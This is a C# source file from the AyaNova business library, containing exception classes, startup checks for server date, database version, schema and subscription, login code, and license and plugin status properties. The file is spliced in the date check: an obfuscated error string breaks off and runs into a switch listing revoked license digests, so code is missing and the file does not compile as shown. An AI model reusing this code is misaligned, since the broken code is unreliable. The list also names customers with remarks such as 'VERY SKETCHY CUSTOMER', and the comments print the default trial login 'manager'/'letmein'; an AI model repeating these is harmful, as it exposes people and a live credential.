using System; using System.Text; using System.Text.RegularExpressions; using System.Collections; using System.Data; using System.IO; using System.Globalization; using System.ComponentModel; using System.Reflection; using CSLA.Security; using System.Threading; using System.Runtime.Serialization; using GZTW.Profile; using GZTW.Data; using System.Collections.Generic; using System.IO.Compression; namespace GZTW.AyaNova.BLL { #region Custom exceptions #pragma warning disable 1591 #region TrialException [Serializable] public class TrialException : ApplicationException { // Normal 3 constructors public TrialException() { } public TrialException(string message) : base(message) { } public TrialException(string message, Exception inner) : base(message, inner) { } // deserialization constructor public TrialException(SerializationInfo info, StreamingContext context) : base(info, context) { } } #endregion #region FetchException /// /// This exception is thrown when a attempt is made to /// retrieve an item from the database that doesn't exist /// [Serializable] public class FetchException : ApplicationException { /// /// /// public FetchException() { } /// /// /// /// public FetchException(string message) : base(message) { } /// /// /// /// /// public FetchException(string message, Exception inner) : base(message, inner) { } /// /// deserialization constructor /// /// /// public FetchException(SerializationInfo info, StreamingContext context) : base(info, context) { } } #endregion #region AyConcurrencyException /// /// This exception is thrown when a attempt is made to /// save an object that has been modified by someone else /// between the point it was loaded for editing and then saved /// [Serializable] public class AyConcurrencyException : ApplicationException { /// /// /// public AyConcurrencyException() { } /// /// /// /// public AyConcurrencyException(string message) : base(message) { } /// /// /// /// /// public AyConcurrencyException(string message, Exception inner) : base(message, inner) { } /// /// deserialization constructor /// /// /// public AyConcurrencyException(SerializationInfo info, StreamingContext context) : base(info, context) { } } #endregion #region AyAyaFileTooLargeException /// /// This exception is thrown when a attempt is made to /// save a file to the AyaNova database that is larger than the /// default limit or larger than the admin set limit in global settings /// (default limit is 50mb) /// [Serializable] public class AyAyaFileTooLargeException : ApplicationException//case 73 { /// /// /// public AyAyaFileTooLargeException() { } /// /// /// /// public AyAyaFileTooLargeException(string message) : base(message) { } /// /// /// /// /// public AyAyaFileTooLargeException(string message, Exception inner) : base(message, inner) { } /// /// /// /// /// public AyAyaFileTooLargeException(SerializationInfo info, StreamingContext context) : base(info, context) { } } #endregion #region LiteDBTypeInvalidException [Serializable] public class LiteDBTypeInvalidException : ApplicationException { // Normal 3 constructors public LiteDBTypeInvalidException() { } public LiteDBTypeInvalidException(string message) : base(message) { } public LiteDBTypeInvalidException(string message, Exception inner) : base(message, inner) { } // deserialization constructor public LiteDBTypeInvalidException(SerializationInfo info, StreamingContext context) : base(info, context) { } } #endregion #region AyNotSubscribedForThisVersionException [Serializable] public class AyNotSubscribedForThisVersionException : ApplicationException { // Normal 3 constructors public AyNotSubscribedForThisVersionException() { } public AyNotSubscribedForThisVersionException(string message) : base(message) { } public AyNotSubscribedForThisVersionException(string message, Exception inner) : base(message, inner) { } // deserialization constructor public AyNotSubscribedForThisVersionException(SerializationInfo info, StreamingContext context) : base(info, context) { } } #endregion #region AySchemaOutDatedException [Serializable] public class AySchemaOutDatedException : ApplicationException { // Normal 3 constructors public AySchemaOutDatedException() { } public AySchemaOutDatedException(string message) : base(message) { } public AySchemaOutDatedException(string message, Exception inner) : base(message, inner) { } // deserialization constructor public AySchemaOutDatedException(SerializationInfo info, StreamingContext context) : base(info, context) { } } #endregion #pragma warning restore 1591 #endregion custom exceptions /// /// Utility functions and configuration connection data /// public sealed class AyaBizUtils { #region class variables // Create a logger for use in this class //private static readonly log4net.ILog log = log4net.LogManager.GetLogger(System.Reflection.MethodBase.GetCurrentMethod().DeclaringType); //private static bool _Initialized=false; /// /// Contains DataPortal diagnostic info if applicable /// public static string PortalDiagnostics = ""; /// /// /// public static Global mGlobalSettings = null; /// /// /// internal static GlobalEx _GlobalX = null; internal static bool _AllowAutomaticClosedWorkorderStatus = true; /// /// Set to false to prevent workorder service status to be set /// automatically to global default when work order is closed. /// /// This property is used by AyaNovaQBI, AyaNovaPTI and AyaImport /// which all need to set the status explicitly. /// public static bool AllowAutomaticClosedWorkorderStatus { get { return _AllowAutomaticClosedWorkorderStatus; } set { _AllowAutomaticClosedWorkorderStatus = value; } } internal static bool _AllowAutomaticMRUOnUpdate = true; /// /// Set to false to prevent objects being added to the MRU /// Most recently used list when an object is updated /// /// This property is used by AyaNovaQBI, AyaNovaPTI and AyaImport /// which all need to import large volumes of objects in one go /// and adding to MRU would slow down the import unnecessarily /// public static bool AllowAutomaticMRUOnUpdate { get { return _AllowAutomaticMRUOnUpdate; } set { _AllowAutomaticMRUOnUpdate = value; } } //case 535 internal static UserMRUs _mru = null; /// /// Current thread user's most recently used AyaNova object list /// /// public static UserMRUs MRU { get { //never cache if it's a dp connection case 768 //this is required because normally ayanova will use this as a cache to save time //however when going through a dataportal the updates are not done on the same mru //object as we see here cached so the cache can't be used when dataportaling but we don't //want to give up on caching for the rest of the users so it's done like this //slightly different check for portal method because here we're we might be calling from the client //and so we're not in the portal so we can't use atdataportalserver method //but that's ok because we know what connection settings were... if (AyaNovaConnectionSetting.UsingDataPortal) _mru = null; //when we're calling from the portal it's using a direct connection so it will use it's own version, however //it's likely null to begin with in most cases so it will retrieve fresh or in rare cases re-use. //either way Bob's your lobster. if (_mru == null) _mru = UserMRUs.GetItems(User.CurrentThreadUserID); return _mru; } set { //No matter what it's set to it resets it to null _mru = null; } } //case 768 /// /// True if the currently executing code is running from /// within a data portal server /// internal static bool AtDataPortalServer { get { return Assembly.GetEntryAssembly() == null;//A DataPortal doesn't have an entry assembly } } /// /// Active session Global settings object /// API users - To ensure you are using the most up to date global settings object /// use this one instead of retrieving your own /// public static Global GlobalSettings { get { if (mGlobalSettings == null) mGlobalSettings = Global.GetItem(); return mGlobalSettings; } set { mGlobalSettings = null;//case 786 } } internal static GlobalEx GlobalX { get { if (_GlobalX == null) _GlobalX = GlobalEx.GetItem(); return _GlobalX; } } //case 2099 - need to see the schema from the UI /// /// Database schema version - used internally /// public static int DBSChemaVersion { get { return GlobalX.DBSchemaVersion; } } private static LocalizedTextTable mLocaleText = null; /// /// Cached for current user. /// API users should use this rather than instantiating a LocalizedTextTable directly for performance reasons /// public static LocalizedTextTable LocaleText { get { if (mLocaleText == null && Thread.CurrentPrincipal.Identity.IsAuthenticated) mLocaleText = LocalizedTextTable.Load(((BusinessPrincipal)Thread.CurrentPrincipal).Language); return mLocaleText; } set { mLocaleText = null; } } //case 1163 /// /// Check if time zone has been overridden for current thread user /// /// public static bool OverrideTimeZone { get { return ((BusinessPrincipal)Thread.CurrentPrincipal).OverrideTimeZone; } } /// /// Actual offset from GMT / UTC if time zone has been overridden /// /// public static double TimeZoneOffset { get { return ((BusinessPrincipal)Thread.CurrentPrincipal).TimeZoneOffset; } } private static AyaNovaConnectionSettings _AyaNovaConnectionSetting = null; /// /// This is the connection setting used by the AyaNova session. /// If it is not set explicitly (default behaviour) it will /// retrieve the connection settings from the config.txt file /// residing in the same folder as this assembly. /// /// A caller can set this explicitly in order to avoid the use of the config.txt file /// (handy in situations where more than one database needs to be logged into separately) /// /// If a caller sets this property explicitly note that the session is logged out automatically /// public static AyaNovaConnectionSettings AyaNovaConnectionSetting { get { if (_AyaNovaConnectionSetting == null) { _AyaNovaConnectionSetting = new AyaNovaConnectionSettings(); _AyaNovaConnectionSetting.GetConnectionData(); } return _AyaNovaConnectionSetting; } set//case 944 { //Ensure that the authentication in the principle doesn't survive a change of connection string //this way a person can't login to one database, change the connection and keep working as if authenticated //in the new database if (Thread.CurrentPrincipal != null) Thread.CurrentPrincipal = null; _AyaNovaConnectionSetting = value; Initialize(); } } /// /// /// public static GZTW.AyaNova.BLL.Region RegionalSettings = null; internal static string _CallerSig; internal static string _Caller; //If this value is true then CE import program has //requested an override of normal license checking in order //to add scheduled users to the workorders who may not be active //right now internal static bool _CE = false; //This is true while the schema is updating //this overrides security temporarily so //that the schema can be updated internal static bool _SchemaUpdating = false; /// /// AyaNova conforms to the "Semantic versioning" scheme, see here: http://semver.org/ /// This property is equivalent to the "Patch" version of semantic versioning schema /// and is stored in the assemblies file version info stored on disk so it can be /// examined in Windows Explorer or in the UI of any of the AyaNova provided assemblies /// /// public static string SubVersion { get { //Note: this should either be an empty string or //an identifier that starts with a tab and ends with a cr/lf //as it's munged into the support info //return "\t*** Business object assembly (GZTW.AyaNova.BLL.dll) Sub Version: 0 ***\r\n"; StringBuilder sb = new StringBuilder(); Assembly a = Assembly.GetExecutingAssembly(); System.Diagnostics.FileVersionInfo fileVersion = System.Diagnostics.FileVersionInfo.GetVersionInfo(a.Location); sb.Append("\tBusiness object assembly: " + System.IO.Path.GetFileName(fileVersion.FileName) + " "); sb.Append(DisplayVersion(a.GetName().Version)); //case 2003 int nHotFix = fileVersion.FileBuildPart; //int nHotFix = fileVersion.FileBuildPart; if (nHotFix > 0) sb.Append(" (Patch " + nHotFix.ToString() + ")"); //case 2094 sb.Append(" (Built "); sb.Append(GZTW.AyaNova.BLL.Timestamp.BuildAt.ToString()); sb.Append(")"); sb.Append("\r\n"); return sb.ToString(); } } ///// ///// *** DEPRECATED AND NOT USED, WILL ALWAYS BE ZERO *** ///// //public static string SubVersionShort //{ // get // { // return "0"; // } //} /// /// Universal Guid to indicate that instead of instantiating an existing /// object a new one should be created with it's own id /// /// Used by the AyaNova UI layer to indicate when opening an object for editing if it /// should be created first. If this ID is used instead of an actual id then /// the UI utility class knows to create the object as new instead of opening an /// existing one /// [Browsable(false)] public static Guid NewObjectGuid { get { return new Guid("{8D6624C7-3E70-48cf-9C0F-629FB70242EE}"); } } /// /// Universal Guid to indicate that a select is intended to refresh a list /// not be the selected item in the list /// /// Used by the AyaNova UI layer trigger a refresh in a list on command /// [Browsable(false)] public static Guid RefreshGuid {//case 105 get { return new Guid("{305E645D-DBD4-4466-8A61-AB83E46BF5C3}"); } } //case 2094 //This flag will cause all rights to be read only //and is intended where there is something in PFC preventing AyaNova from running //like mismatch of license and version or schema needs update from AyaNova windows //etc. These all throw exceptions but people could have their own code that //they use that eats the exceptions and so they could just keep using their code //potentially causing issues internal static bool LockDown = false; #endregion #region AyaNova CE import override /// /// /// [Browsable(false)] public static bool CE { set { //Only allow this to be set by a calling assembly signed with our own strong name key if (_CallerSig == "DF-66-A8-D8-E4-98-33-D3") _CE = value; } } #endregion #region MAIN INIT entry point for biz object library /// /// Initialization and pre-flight check of the AyaNova DB connection /// /// /// Initializing AyaNova business object library in preparation for logging in: /// /// //The call to Initialize is always the first required in any /// //Stand alone application working with AyaNova (not required for plugins), it initializes the database /// //connection and business object framework and confirms operations can /// //take place /// /// //IMPORTANT: If you receive an exception when calling the Initialize method it is most likely /// //a connection string problem in your config.txt file causing the /// //database provider to throw a not found exception. Or a problem with the configuration /// //file itself like it's missing or not configured properly. /// /// //Remember that in the case of any exception using the AyaNova business object library /// //it is that exception's Inner exception which is most likely the actual error (if present) /// //because AyaNova objects are invoked through a factory method which wraps any actual exception /// //generated by the business object inside a TargeInvocationException /// /// try /// { /// GZTW.AyaNova.BLL.AyaBizUtils.Initialize(); /// } /// catch (Exception ex) /// { /// //"crack" the exception to get to the innermost exception /// while (ex.InnerException != null) /// ex = ex.InnerException; /// /// MessageBox.Show(ex.Message); /// return; /// } /// /// /// //Once your application gets to this point right after Initialize without error /// //you can be assured that you have a clean configuration file and a connection /// //to the database and are ready to log in /// /// /// public static void Initialize() { //_Initialized=false; //track who is calling for security purposes //i.e. allowing importing workorders from ce to //select non-active techs etc if (Assembly.GetEntryAssembly() != null)//A DataPortal doesn't have an entry assembly { _Caller = Assembly.GetEntryAssembly().GetName().Name; if (Assembly.GetEntryAssembly().GetName().GetPublicKeyToken() == null) _CallerSig = ""; else _CallerSig = BitConverter.ToString(Assembly.GetEntryAssembly().GetName().GetPublicKeyToken()); } else//case 2094 { _Caller = "DP"; _CallerSig = "DP"; } //Any apps signed with the AyaNova.snk key have this sig: "DF-66-A8-D8-E4-98-33-D3" //attempt to connect to database if (!CheckDataAvailable()) return; ////case 1039 //log.Debug("Initialize() - Business logic tier initialized OK"); //_Initialized=true; } #endregion #region Validation pre-flight checks: License, Date, DB engine, DB Schema, subscription private static bool CheckDataAvailable() { //do a fake login to get business principle set Login("abcdefghijklmnopqrstuvwxyz", "abcdefghijklmnopqrstuvwxyz"); #region Validate server date makes sense //case 2094 //Confirm date is ok at server bool dtOk = DBDtPfc.CheckIt(); if (!dtOk) { LockDown = true; ////"Error: There appears to be a problem with the date on the server.\r\nTo protect your data integrity AyaNova will not run until this issue is fixed."; throw new System.ApplicationException(Ec("\0\a\n&HU1<\a\0t1\atE6Ut\a\n6\btBraintek, case "mpBdutEgT9w8hWT/T1uwNmLGeLQ=": //MCCAIN RESEARCH LAB , INC, case "2pYzGIlMU18QomByUC4D72ViOyE=": //Standby Power System Consultants, Inc., case "PlzMfZoVI4iR0Ws11yqaAf+4g5U=": //Snyder Services, case "EMmFEcwm78pskcWAIZ7z5CKdOxk=": #endregion #region Case 874 //Vrobel's Heating & Cooling, case "dhkBn04QOYxysTnXTql/9VHkEtI=": #endregion #region Case 1167 //Verhoeven kantoortotaal case "b75SpAQzm71JsRLNtosk0ty1Tsw=": #endregion #region Case 1191 // CF Can Group case "i9/LC/6RVsoIT1X5YKlzBRA2T08=": #endregion #region Case 1364 // Leavenworth County case "W2inW3VDw8FPzMdBHgE8k+U6gSg=": // mbernardinelli case "13OUStnOVvlJszgrUIcVxMcLkhw=": // Penney Lawn Service case "OSQOreX+pT0TczLrxb6ucOv4rF8=": #endregion #region Case 1862 // Morris Waterworks case "8lPDmvrFCHnVxUDGzscSZKmGtgM=": #endregion #region Case 3291 // "RegisteredTo": "Preferred Medical Systems" //sent key then asked to cancel case "1496793532": #endregion #region Case 3517 // "RegisteredTo": "The Underground Sprinkler Co" //sent key then asked to cancel - VERY SKETCHY CUSTOMER case "1507851308": #endregion LockDown = true; throw new ApplicationException("\r\n\r\n***************\r\n\r\n\r\nFATAL ERROR 42 - EMAIL THE FOLLOWING INFORMATION TO\r\nSUPPORT@AYANOVA.COM IMMEDIATELY:\r\n\r\nError code: [" + _GlobalX.DigestValue + "]\r\n\r\n\r\n********************\r\n\r\n"); } if (_GlobalX.RegisteredTo == "DEVELOPMENT") { LockDown = true; throw new ApplicationException("\r\n**** INVALID (TEST) DATABASE ****\r\nPlease contact AyaNova technical support for a replacement trial database.\r\n"); } #endregion #region Validate database engine is supported //case 530 ensure db engine is young enough DBInfo dbi = DBInfo.GetInfo(); string dbOutOfDateExceptionMessage = "Error: Your database server version could not be determined / is out of date.\r\n" + "As detailed in the documentation: AyaNova requires either Microsoft SQL Server 2005 or newer\r\n" + "or FireBird server / embedded version 2.11 or newer.\r\n"; if (dbi.Version.StartsWith("Error:")) { LockDown = true; throw new System.NotSupportedException(dbOutOfDateExceptionMessage); } if (dbi.DBServerType == "MSSQL") { if (dbi.Version.StartsWith("2000")) { LockDown = true; throw new System.NotSupportedException(dbOutOfDateExceptionMessage); } //any older version would have thrown an exception above because only 2000 up supports the method used to get the version } else if (dbi.DBServerType == "FireBird") { if (dbi.Version == "2.1") { LockDown = true; throw new System.NotSupportedException(dbOutOfDateExceptionMessage); } } if (Lite && !AyaNovaConnectionSetting.SingleUserConnection) { LockDown = true; throw new LiteDBTypeInvalidException(); } #endregion #region Validate this assembly is not too old for this DB Schema //Ensure schema matches required version //All schema related code in DBManager object //Case 408 changed wording slightly to be less ambiguous if (GlobalX.DBSchemaVersion > DBManager.RequiredSchema) { LockDown = true; throw new System.PlatformNotSupportedException ( string.Format ( "\r\n************************************************\r\n" + "This program requires database schema version {0}\r\n " + "The current database schema is version {1}\r\n" + "(In other words: this program is outdated and needs to be upgraded)\r\n" + "************************************************\r\n", DBManager.RequiredSchema.ToString(), GlobalX.DBSchemaVersion.ToString() ) ); } #endregion #region Validate DB Schema has not been tampered with //case 2094 //Only check the fingerprint if the db schema matches //because the schema may be updated later with some changes //recently made for this case if (GlobalX.DBSchemaVersion == DBManager.RequiredSchema) { //Case 856 //check the schema fingerprint to detect tampering string schema = dbi.FingerPrint; //case 1104 //Danish AA bug rears it's head again //If user has Danish or some other languages set then //the code that brings out the fingerprint treats AA together as a special single character //which affects the hash //As a safer alternative we'll count the number of tables and columns instead //as the user can't rename them without breaking ayanova anyway and this will still //catch the intended purpose of people adding columns or tables //To do this we'll count \r\n combinations because every table and column name ends with that //in any type of db in the db layer code Regex rxCountLines = new Regex( "\\r\\n", RegexOptions.IgnoreCase | RegexOptions.Multiline | RegexOptions.Compiled ); int nSchemaCount = rxCountLines.Matches(schema).Count; //SHA256 shaM = new SHA256Managed(); //UTF8Encoding enc = new UTF8Encoding(); //string shash = BitConverter.ToString(shaM.ComputeHash(enc.GetBytes(schema))).Replace("-", ""); if (nSchemaCount != 1406) { //case 1142, apparently if it's sql2000 they can get this as well so adjusting error message //schema is not clean LockDown = true; throw new System.Security.SecurityException( "This AyaNova database appears to have been modified outside of the AyaNova program or is damaged in some way.\r\n" + "This may very rarely be caused by corruption but is more likely a result of someone tampering with\r\n" + "the database and making changes outside the AyaNova program.\r\n\r\n" + "(In some cases you may get this error when attempting to use AyaNova 5.x or newer with Microsoft SQL server 2000\r\n" + "which is not supported, only version 2005 or newer.)\r\n\r\n" + "Your data is probably ok, but the database is not in a supportable state and will need to be returned to it's proper state.\r\n" + "Please provide the following information to AyaNova technical support for assistance:\r\n\r\n" + "Schema Count: " + nSchemaCount.ToString() + "\r\nSchema:\r\n" + schema); } } #endregion FingerPrint #region Validate a subscription license is present string sNoSub = "This is a new version of AyaNova not previously used with this database\r\n\r\nAn active subscription license is required to use it\r\n\r\nThere are two options:\r\n1) Downgrade back to the previous version\r\n2) Install a new license\r\n\r\n"; //If it's not a subscription license it's definitely not allowed to use this build //any new releases post May 1 2016 require a subscription license. if (!GlobalX.SubscriptionLicense) { LockDown = true; throw new AyNotSubscribedForThisVersionException ( string.Format ( "\r\n" + "*************************************************************\r\n\r\n" + "Subscription license not found!\r\n\r\n" + sNoSub + "Contact support@ayanova.com for more information\r\n" + "*************************************************************\r\n\r\n" ) ); } #endregion #region Validate subscription allows this build date of biz object library // if the subscription has expired and it was built after the subsription expired //then throw the exception if ((GlobalX.SubscriptionExpired && (Timestamp.BuildAt > ExpiryDate))) { LockDown = true; throw new AyNotSubscribedForThisVersionException ( string.Format ( "\r\n*************************************************************\r\n" + sNoSub + "Your subscription license expired on {0}\r\n" + "Please purchase a new subscription\r\n" + "*************************************************************\r\n", GlobalX.ExpiryDate.ToLongDateString() ) ); } #endregion #region Validate schema is not outdated with non winform ayanova calling assembly //TODO: throw if outdated schema and caller is not winform AyaNova. if (SchemaOutdated && _Caller != "AyaNova") { LockDown = true; throw new AySchemaOutDatedException ( string.Format ( "\r\n" + "****************************************************************\r\n\r\n" + "The AyaNova database schema is outdated and needs to be adjusted\r\n" + "to work with this version of this application\r\n\r\n" + "Start AyaNova for Windows to upgrade the database schema now\r\n\r\n" + "Contact support@ayanova.com if you need more information\r\n" + "*************************************************************\r\n\r\n" ) ); } #endregion #region TRIAL key first boot processing and NEW DB RELEASE trial date utility //****************** Set first boot and eval data advancing date #if(DEBUG) //In a debug wrapper to be on the safe side //*** NOTE: do not run this block until the target db has been opened at least once //to forward the dates first otherwise it will be messed up. *** //Uncomment this code //set the dates accordingly //(Should be the same date as the last time the db was opened to advance eval dates) //run once //shut down and recomment this code //*************************************************************** //GlobalX.TData = new GZTW.AyaNova.BLL.GlobalEx.AGlobalExData(); //GlobalX.TData.EvalExpire = new DateTime(1968, 03, 12, 0, 0, 0, 0); //GlobalX.TData.EvalAdvanceReference = new DateTime(2020, 10, 16, 0, 0, 0, 0); //GlobalX.Save(); //System.Diagnostics.Debugger.Break(); //*********************************************************** //RECOMMENT THE ABOVE WHEN DONE #endif //**************************************************************** //Is it a trial first boot? if (GlobalX.TData.EvalExpire == new DateTime(1968, 03, 12, 0, 0, 0, 0)) { //it's a first boot ProcessFirstBoot(); } return true; } private static void ProcessFirstBoot() { System.DateTime dtAdvance = GlobalX.TData.EvalAdvanceReference; //Gextest GlobalX.TData = new GZTW.AyaNova.BLL.GlobalEx.AGlobalExData(); //case 3646 changed from 31 to 46 days GlobalX.TData.EvalExpire = System.DateTime.Now.AddDays(46); GlobalX.Save(); //Advance trial data dates DBManager.AdvanceTrialDataDates(dtAdvance); } #endregion #endregion #region Schema update and outdated properties //case 2094 /// /// True if the current AyaNova database schema version is older than the /// version required for this release of AyaNova /// Used by UI to trigger update processing after manager login /// public static bool SchemaOutdated { get { return (GlobalX.DBSchemaVersion < DBManager.RequiredSchema); } } //case 2094 //Update schema if necessary. This will only be called from the Winform UI //NOTE: this can only be called after initialization and initialization checks //that they have an active subscription so no need to check subscription status here. /// /// Do not call this, internal only /// /// [Browsable(false)] public static bool UpdateSchema() { //Upgrade the database? if (SchemaOutdated) { //flag schema as updating so that rights will //temporarily return full access during schema update //because some schema updates require access to various //biz objects _SchemaUpdating = true; DBManager.UpdateSchema(); _SchemaUpdating = false; return true; } return false; } #endregion #region LOGIN /// /// Login to database. /// This replaces the direct call to BusinessPrincipal.Login which has been deprecated /// to allow for consolidated connnection settings. /// /// This is a breaking change for v3.x api users /// /// AyaNova login name /// AyaNova login password /// /// After the call to Initialize() you're ready to login as follows: /// /// //This is the default AyaNova trial login and password /// //and this is how you login to AyaNova /// AyaBizUtils.Login("manager","letmein"); /// /// //confirm the user is logged in: /// if(Thread.CurrentPrincipal.Identity.IsAuthenticated==false) /// { /// //Nope, they are not authenticated so /// //show an error and bail out /// MessageBox.Show("Login failed"); /// return; /// } /// /// //At this point we're logged in an have access to the entire API within the rights of the logged in user /// /// public static void Login(string Username, string Password) { //case 1172 if (Username != "abcdefghijklmnopqrstuvwxyz" && Password != "abcdefghijklmnopqrstuvwxyz")//ignore initial fake login { if (Lite) { //login as the default user only no matter what they're trying to do Username = "user"; Password = "user"; } } BusinessPrincipal.Login(Username, Password, AyaNovaConnectionSetting); ////case 53 and other stuff down the road // if (Thread.CurrentPrincipal.Identity.IsAuthenticated) // LocaleText = LocalizedTextTable.Load(((BusinessPrincipal)Thread.CurrentPrincipal).Language); mLocaleText = null; StopList = null; //case 1163 - set time zone and other stuff in the principle object if (Thread.CurrentPrincipal.Identity.IsAuthenticated && Username != "abcdefghijklmnopqrstuvwxyz" && Password != "abcdefghijklmnopqrstuvwxyz") { //case 2100 added in schema 91 decimal dtz = 9999; if (AyaBizUtils.GlobalX.DBSchemaVersion > 90) { dtz = UserTimeZoneOffsetFetcher.UserTimeZoneOffset(User.CurrentThreadUserID); } if (dtz == 9999) { ((BusinessPrincipal)Thread.CurrentPrincipal).OverrideTimeZone = false; ((BusinessPrincipal)Thread.CurrentPrincipal).TimeZoneOffset = 0; } else { ((BusinessPrincipal)Thread.CurrentPrincipal).OverrideTimeZone = true; ((BusinessPrincipal)Thread.CurrentPrincipal).TimeZoneOffset = (double)dtz; } } } #endregion login #region License entry license options properties /// /// /// [Browsable(false)] public static string stat { get { if (AyaBizUtils.Lite) return ""; //case 1172 long l = ScheduleableUserCountFetcher.GetItem(); if (User.IsAdmin && l > GlobalX.ScheduleableUsers) { return ( "LICENSE VIOLATION\r\n\r\n" + "AyaNova has detected an attempt to circumvent AyaNova licensing.\r\n\r\n" + "This database is licensed for " + GlobalX.ScheduleableUsers.ToString() + " scheduleable users\r\n" + "Currently there are " + l.ToString() + " scheduleable users active.\r\n\r\n" + "All AyaNova accounts other than Manager have been suspended until\r\n" + "the extra scheduleable users that are not licensed are\r\n" + "set inactive, removed or changed to non-scheduleable users\r\n" + "to bring this database back into license compliance.\r\n\r\n" + "Directly editing the AyaNova database can lead to lost or damaged data\r\n" + "Please ensure no one tampers with the AyaNova database in future.\r\n\r\n" + "** License violations are logged for the protection of the licensee and licensor **"); } return ""; } } /// /// True if the current AyaNova license is a trial version /// public static bool Trial { get {//registered to "Unregistered trial" means true else false return GlobalX.TrialKey; } } /// /// /// [Browsable(false)] public static int ScheduleableUsers { get { return GlobalX.ScheduleableUsers; } } //case 2094 - now a plugin ///// ///// ///// //[Browsable(false)] //public static bool WBI //{ // get // { // return GlobalX.FeatureWebInterface; // } //} //case 2094 now a plugin ////Case 726 ///// ///// ///// //[Browsable(false)] //public static bool MBI //{ // get // { // return GlobalX.FeatureMBIInterface; // } //} /// /// Name of AyaNova licensee /// [Browsable(false)] public static string REGTO { get { return GlobalX.RegisteredTo; } } /// /// downloaded trial expired /// nothing to do with web requested trial or licensed trial which are under Lockdown and lockdowndate /// [Browsable(false)] public static bool TrialExpired { get { return GlobalX.TrialExpired; } } /// ///Requested trial expired (not the same as downloaded trial expire) /// [Browsable(false)] public static bool LockedOut { get { return GlobalX.LockedOut; } } /// /// Downloaded trial will expire /// [Browsable(false)] public static bool WillExpire { get { return GlobalX.WillExpire; } } /// /// Requested trial will expire /// [Browsable(false)] public static bool WillLockout { get { return GlobalX.Lockout; } } /// /// Downloaded trial OR Subscription expiry date /// [Browsable(false)] public static DateTime ExpiryDate { get { return GlobalX.ExpiryDate; } } /// /// Requested trial Lockout date /// [Browsable(false)] public static DateTime LockoutDate { get { if (GlobalX.Lockout) return GlobalX.LockoutDate; else return DateTime.MaxValue; } } //case 999 /// /// Used to prevent sequential entry of web requested trial license in winform license entry section /// Used also to give menu option for trial user to swap between LITE and regular AyaNova when testing out /// [Browsable(false)] public static bool RequestedTrial//web requested trial? { get { return GlobalX.RequestedTrial; } } //License key entry from UI to db goes //through here /// /// /// /// /// [Browsable(false)] public static bool Insert(string sData) { //case 1172 bool bWasLite = Lite; //case 997 count the active scheduleable users int nActiveSchedUserCount = 0; UserPickList upl = UserPickList.GetList(false); foreach (UserPickList.UserPickListInfo i in upl) { if (i.Active && i.Type == UserTypes.Schedulable) nActiveSchedUserCount++; } if (!User.IsAdmin && !Lite) return false;//case 1172 GlobalX.GlobalData = sData; if (!GlobalX.IsSavable) return false; try { GlobalX.Save(); //case 973 DBManager.ResetCacheInDataPortal.Reset(); } catch { return false; } //License accepted and saved //case 1172 _SchemaUpdating = true; if (bWasLite == false && Lite)//going from full to lite? { User.CreateLiteUser(); DBManager.UnscheduleUsersToLite(); //deactivate all the other users foreach (UserPickList.UserPickListInfo i in upl) { if (i.ID != User.LiteUserID && i.ID != User.AdministratorID) { User u = User.GetItem(i.ID); u.Active = false; if (u.DefaultWarehouseID == Guid.Empty) u.DefaultWarehouseID = PartWarehouse.DefaultWarehouseID; u.Save(); } } //case 1858 GlobalSettings.TaxPartPurchaseID = Guid.Empty; GlobalSettings.Save(); } else { //case 997 //Is new key for less users than there are currently active scheduleable users? //if so, then unschedule all workorders and set //all sched users to inactive if (GlobalX.ScheduleableUsers < nActiveSchedUserCount) { //Set all scheduled users in workorder item scheduled user to null DBManager.UnscheduleUsers(); //also set all scheduled users to inactive to avoid license key violation error foreach (UserPickList.UserPickListInfo i in upl) { if (i.mType == UserTypes.Schedulable) { User u = User.GetItem(i.ID); u.Active = false; u.Save(); } } } } _SchemaUpdating = false; return true; } /// /// /// /// [Browsable(false)] public static string View() { return GlobalX.ViewGlobalData; } //case 2094 - plugins no longer have versions only expiry dates /////case 1053 ///// ///// return string version number or null if plugin requested is not licensed ///// ///// ///// //[Browsable(false)] //public static string PluginLicensedVersion(string sPluginName) //{ // foreach (DataRow dr in GlobalX.Plugins.Rows) // { // if (dr["Plugin"].ToString() == sPluginName) // { // return dr["Version"].ToString(); // } // } // return ""; //} //case 2094 /// /// Get subscription expiry date for plugin /// /// /// DateTime.MinValue if not found else the subscription expiry date [Browsable(false)] public static DateTime PluginSubscriptionDate(string sPluginName) { if (GlobalX.SubscriptionLicense) { foreach (DataRow dr in GlobalX.Plugins.Rows) { if (dr["Plugin"].ToString() == sPluginName) { //case 3113 return (DateTime)dr["SubscriptionExpires"]; //return DateTime.Parse(dr["SubscriptionExpires"].ToString()); } } } return DateTime.MinValue; } /// /// Return plugin license status for assembly /// /// /// /// "ok" if there is a subscription for the plugin and the plugin's build date is older than the subscription expiry date /// or "NONE" if there is no license at all or "NOTALLOWED" if the plugins license subscription to date is older than the build of the plugin /// [Browsable(false)] public static string PluginSubscriptionStatus(string PluginName, DateTime BuildDate) { DateTime dtExpires = PluginSubscriptionDate(PluginName); if (dtExpires == DateTime.MinValue) { //Doesn't exist so no, can't use it at all return "NONE"; } //Timestamp.BuildAt > ExpiryDate if (dtExpires < BuildDate) { //built after subscription expires //not allowed to use--too new return "NOTALLOWED"; } return "OK"; } //case 2094 /// /// Check if plugin is built after subscription expired /// /// /// /// true if built after license subscription expired or false [Browsable(false)] public static bool PluginTooNew(string PluginName, DateTime BuildDate) { return (PluginSubscriptionStatus(PluginName, BuildDate) == "NOTALLOWED"); } //case 2094 /// /// Check if plugin is allowed to run /// Checks if there is a license for the plugin then /// compares build date vs subscription date /// /// /// /// true if allowed to start or false if not [Browsable(false)] public static bool PluginAllowed(string PluginName, DateTime BuildDate) { return (PluginSubscriptionStatus(PluginName, BuildDate) == "OK"); } //case 2094 /// /// Check if there is a license for named plugin /// DOES NOT CHECK IF THE SUBSCRIPTION IS EXPIRED ONLY THAT IT EXISTS /// /// /// [Browsable(false)] public static bool PluginSubscriptionExists(string sPluginName) { foreach (DataRow dr in GlobalX.Plugins.Rows) { if (dr["Plugin"].ToString() == sPluginName) { return true; } } return false; } /// /// Subscription license has expired /// public static bool SubscriptionExpired { get { return GlobalX.SubscriptionExpired; } } /// /// Subscription license will expire soon /// public static bool SubscriptionExpirationImminent { get { TimeSpan ts2 = GlobalX.ExpiryDate.Subtract(System.DateTime.Now); if (ts2.TotalDays > 0 && ts2.TotalDays < 10) return true; return false; } } //case 1172 /// /// True if AyaNova is running in Lite mode /// public static bool Lite { get { return GlobalX.Lite; } } /// /// AyaNova license id /// public static string LicId { //case 3712 - added for QBOI with oAuth2 usage get { return GlobalX.DigestValue; } } #endregion #region Rights /// /// Check current thread user's rights to object specified by RootObjectType string /// /// /// Example usage - Checking if the currently logged in user has 